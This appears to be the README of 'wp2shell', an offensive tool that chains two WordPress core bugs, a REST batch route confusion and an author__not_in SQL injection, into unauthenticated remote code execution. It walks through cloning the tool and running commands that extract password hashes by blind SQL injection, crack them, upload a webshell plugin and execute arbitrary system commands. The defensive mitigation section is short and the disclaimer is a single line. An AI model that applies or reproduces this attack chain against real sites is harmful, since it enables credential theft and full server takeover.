Files
2026-07-19 00:33:47 +00:00

6.1 KiB
Raw Permalink Blame History

wp2shell by: ek0ms savi0r

Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)

wp2shell exploit for critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in WP_Query to achieve unauthenticated remote code execution on vulnerable WordPress installations.

Detail Info
CVEs CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (author__not_in SQLi)
Affected WordPress 6.9.0 6.9.4, 7.0.0 7.0.1
Patched 6.9.5, 7.0.2
Auth Required None — unauthenticated
CVSS Critical (RCE chain)
Discovered By Adam Kues (Assetnote / Searchlight Cyber)
Dependencies Python 3.8+ — standard library only

How It Works

The exploit chains two bugs in WordPress core:

  1. CVE-2026-60137 — SQL Injection When author__not_in is passed as a string instead of an array, WordPress skips the is_array() sanitisation guard and interpolates the raw value into a NOT IN (...) SQL clause.

  2. CVE-2026-63030 — Batch Route Confusion The /wp-json/batch/v1 endpoint builds parallel $matches and $validation arrays. A malformed sub-request is appended to $validation but not $matches, causing a +1 index shift. Sub-request i gets dispatched with sub-request i+1's handler.

Chained together: A POST /wp/v2/posts request carrying an inner GET /wp/v2/users request with an author_exclude string bypasses both the method allow-list and input sanitisation. The string reaches WP_Query as author__not_in and gets interpolated into SQL — giving you unauthenticated blind SQL injection.

From there, the tool can:

  • Extract the administrator password hash
  • Authenticate as admin (once the hash is cracked)
  • Upload a malicious plugin
  • Execute arbitrary system commands

Features

Feature Description
Vulnerability Check Safe time-delay probe — reads no data, changes nothing
Data Extraction Blind SQL injection with binary-search optimisation for efficient extraction
User Hash Dump Extract user_login and user_pass hashes from wp_users
Remote Code Execution Authenticate as admin, upload a webshell plugin, execute commands
Interactive Shell Persistent command execution session
Colour Output Clear visual feedback for scan results
No Dependencies Uses only Python's standard library

Installation

git clone https://git.churchofmalware.org/ek0mssavi0r/wordpressTOWN.git
cd wordpressTOWN
chmod +x wp2shell.py

That's it. No third-party packages required.


Usage

./wp2shell.py <url> [command] [options]

Interactive Mode (Menu-Driven)

./wp2shell.py http://target.com

Launches an interactive menu with all functionality available via numbered options.

Commands

check — Confirm Vulnerability (Safe)

Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing.

./wp2shell.py http://target.com check

read — Extract Data (Blind SQL Injection)

Extracts information from the database using time-based blind SQL injection.

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — Remote Code Execution

Requires valid administrator credentials. The SQL injection can recover the password hash, but you must supply the recovered plaintext password.

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

Options

Option Description
--users Extract user_login and user_pass from wp_users
--database Extract the current database name
--version Extract the MySQL version
--query "SQL" Execute a custom SQL query (blind extraction)
--user USER Admin username for RCE
--password PASS Admin password for RCE (plaintext, recovered via SQLi)
--cmd CMD Command to execute via the webshell

Example Workflow

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

Affected Versions

Branch Affected Fixed
6.9.x 6.9.0 6.9.4 6.9.5
7.0.x 7.0.0 7.0.1 7.0.2
6.8.x 6.8.0 6.8.5 (SQLi only, no RCE) 6.8.6

Versions before 6.9.0 are not affected by the full RCE chain.


Detection & Mitigation

For Defenders:

  • Update to 6.9.5, 7.0.2, or later immediately
  • Cloudflare WAF customers are automatically protected
  • Wordfence customers have firewall rules
  • Monitor for POST /wp-json/batch/v1 requests with nested requests bodies
  • A 404 on the batch route doesn't always mean "patched" — it can also mean a WAF/CDN is blocking anonymous REST API access

This tool is for educational and authorised security testing purposes only.


Credits

  • Discovery: Adam Kues (Assetnote / Searchlight Cyber)
  • CVE-2026-60137 (SQLi): TF1T, dtro, haongo
  • CVE-2026-63030 (Batch route confusion): Adam Kues

For more details on the vulnerability, see the Searchlight Cyber research blog.